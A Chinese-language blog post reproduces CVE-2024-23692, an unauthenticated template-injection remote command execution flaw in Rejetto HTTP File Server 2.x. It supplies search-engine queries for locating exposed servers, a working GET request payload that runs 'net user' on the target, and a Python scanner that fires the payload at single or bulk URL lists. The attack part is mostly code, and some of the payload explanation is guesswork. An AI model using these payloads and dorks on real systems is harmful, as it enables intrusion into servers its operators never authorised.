当前位置: 首页 > news >正文

【漏洞复现】Rejetto HTTP文件服务器——远程命令执行(CVE-2024-23692)

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

Rejetto HTTP文件服务器是一个轻量级的HTTP服务器软件,它允许用户在本地计算机上快速搭建一个文件共享服务。其 2.x系列 存在CVE-2024-23692远程命令执行漏洞,攻击者可在无需登陆的情况下利用模板注入执行任意命令,从而控制服服务器。

漏洞复现

1)信息收集
fofa:app="HFS"
hunter:app.name="HTTP File Server"
在这里插入图片描述
巧合是上帝默默操控世界的方式。
在这里插入图片描述
2)构造数据包

GET /?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
Host:ip

代码解释:

/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}

这个payload实际上是一个经过编码的命令,让我们更详细地分析其各个组成部分:

  1. 编码前原始命令

    • 原始命令是这样的:cmd=net user &search=xxx%url:password
    • 这里cmd代表命令,net user是Windows系统中查看用户账户的命令。
    • &search=xxx%url:password部分是一个搜索条件。
  2. URL编码

    • %0A是换行符\n的URL编码形式。
    • %25是百分号%的URL编码形式,所以%25xxx%25代表%xxx%
  3. 脚本或命令行工具语法

    • {.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}这部分是一个特定脚本或命令行工具的语法,用于执行命令并设置参数。
    • .exec是执行命令的标志。
    • {.?cmd.}是一个动态替换为实际命令的占位符。
    • timeout=15设置了命令执行的超时时间限制为15秒。
    • out=abc.指定了输出结果应该被写入到以abc为前缀的文件中,但具体文件扩展名未知。
  4. 输出结果

    • RESULT:{.?n.}{.?n.}{.^abc.}这部分指定了输出结果的格式。
    • {.?n.}可能是用于输出变量或特定值的占位符。
    • {.^abc.}可能表示将输出追加到之前提到的以abc为前缀的文件中。
  5. 分隔符

    • ====用作分隔符,以区分输出中的不同部分。

这个payload可能是用于在远程服务器或网络设备上执行命令,获取用户列表,并搜索包含特定字符串的用户账户。
在这里插入图片描述
在回显中看到了用户名,命令被执行,漏洞存在。

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-import http.client
import argparse
from urllib.parse import urlparse
from urllib3.exceptions import InsecureRequestWarning
import ssl# 定义红色和重置终端输出格式的常量,用于高亮显示漏洞提示
RED = '\033[91m'
RESET = '\033[0m'def check_vulnerability(url):"""检查给定URL是否存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692)。:param url: 待检查的URL字符串。"""try:# 忽略HTTPS证书验证错误,以进行漏洞测试# 忽略不安全的HTTPS请求警告ssl._create_default_https_context = ssl._create_unverified_context# 解析URL以获取主机、方案和路径信息# 解析URLparsed_url = urlparse(url)host = parsed_url.netlocscheme = parsed_url.schemepath = parsed_url.path if parsed_url.path else '/'# 构造利用漏洞的攻击路径# 构造完整的攻击URL路径attack_path = path + "/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"# 根据URL的方案(HTTP或HTTPS)创建连接对象# 根据URL的协议类型,选择合适的连接方式if scheme == "https":conn = http.client.HTTPSConnection(host, context=ssl._create_unverified_context())else:conn = http.client.HTTPConnection(host)# 发送GET请求到构造的攻击路径# 发送请求conn.request("GET", attack_path)response = conn.getresponse()# 读取并解码响应数据data = response.read().decode('utf-8')# 检查响应状态码是否为200且数据中是否包含'Administrator',以判断漏洞是否存在if response.status == 200 and 'Administrator' in data:print(f"{RED}URL [{url}] 存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692){RESET}")else:print(f"URL [{url}] 不存在漏洞")# 关闭HTTP连接conn.close()except Exception as e:# 打印在检测过程中发生的任何异常print(f"URL [{url}] 在检测过程中发生错误: {e}")def main():"""程序主入口,负责解析命令行参数并调用漏洞检测函数。"""# 创建命令行参数解析器parser = argparse.ArgumentParser(description='检测目标地址是否存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692)')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')# 解析命令行参数args = parser.parse_args()# 如果指定了URL参数if args.url:# 确保URL以HTTP或HTTPS开头,否则添加HTTPif not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.url# 调用漏洞检测函数check_vulnerability(args.url)# 如果指定了文件参数elif args.file:# 读取文件中的每行作为URL,逐个检查with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:# 确保URL以HTTP或HTTPS开头,否则添加HTTPif not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()

运行截图
在这里插入图片描述


多少事,从来急,天地转,光阴迫,一万年太久,只争朝夕。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 微信小程序加载动画文件
  • html(抽奖设计)
  • Qt 多语言
  • 解决spring boot中使用拦截器导致swagger文档无法访问
  • 数据库内核研发学习之路(三)创建postgres内置函数
  • Linux 安装多个jdk,切换使用
  • OPC通信从入门到精通_2_OPC通信详解和C#客户端编程(OPC基础概念;OPC通信仿真(KepServer作为OPC服务器;使用Modbus Slave和另外软件仿真2个PLC设备);C#程序)
  • Android使用AndServer在安卓设备上搭建服务端(Java)(Kotlin)两种写法
  • 大语言模型LLM
  • 详解python基本语法
  • 每日一练——第四题
  • vue自制表格
  • 什么是TCP
  • vue3+TS从0到1手撸后台管理系统
  • rust + python+ libtorch
  • Java新版本的开发已正式进入轨道,版本号18.3
  • JS变量作用域
  • Netty+SpringBoot+FastDFS+Html5实现聊天App(六)
  • Zsh 开发指南(第十四篇 文件读写)
  • 浮动相关
  • 前端临床手札——文件上传
  • 学习使用ExpressJS 4.0中的新Router
  • 阿里云ACE认证之理解CDN技术
  • 从如何停掉 Promise 链说起
  • ​​​​​​​​​​​​​​汽车网络信息安全分析方法论
  • # windows 安装 mysql 显示 no packages found 解决方法
  • #include<初见C语言之指针(5)>
  • $.extend({},旧的,新的);合并对象,后面的覆盖前面的
  • ( 10 )MySQL中的外键
  • (02)Cartographer源码无死角解析-(03) 新数据运行与地图保存、加载地图启动仅定位模式
  • (4)通过调用hadoop的java api实现本地文件上传到hadoop文件系统上
  • (9)STL算法之逆转旋转
  • (Matalb分类预测)GA-BP遗传算法优化BP神经网络的多维分类预测
  • (Redis使用系列) SpirngBoot中关于Redis的值的各种方式的存储与取出 三
  • (大众金融)SQL server面试题(1)-总销售量最少的3个型号的车及其总销售量
  • (二)原生js案例之数码时钟计时
  • (附源码)springboot工单管理系统 毕业设计 964158
  • (图)IntelliTrace Tools 跟踪云端程序
  • (详细文档!)javaswing图书管理系统+mysql数据库
  • (一)C语言之入门:使用Visual Studio Community 2022运行hello world
  • (一)Spring Cloud 直击微服务作用、架构应用、hystrix降级
  • (转)树状数组
  • .bat批处理(十):从路径字符串中截取盘符、文件名、后缀名等信息
  • .netcore 获取appsettings
  • .NET面试题(二)
  • .NET项目中存在多个web.config文件时的加载顺序
  • .pings勒索病毒的威胁:如何应对.pings勒索病毒的突袭?
  • .ui文件相关
  • /usr/local/nginx/logs/nginx.pid failed (2: No such file or directory)
  • [ 2222 ]http://e.eqxiu.com/s/wJMf15Ku
  • [ vulhub漏洞复现篇 ] GhostScript 沙箱绕过(任意命令执行)漏洞CVE-2019-6116
  • [AIGC codze] Kafka 的 rebalance 机制
  • [AutoSAR系列] 1.3 AutoSar 架构
  • [BZOJ] 2044: 三维导弹拦截
  • [C#]使用PaddleInference图片旋转四种角度检测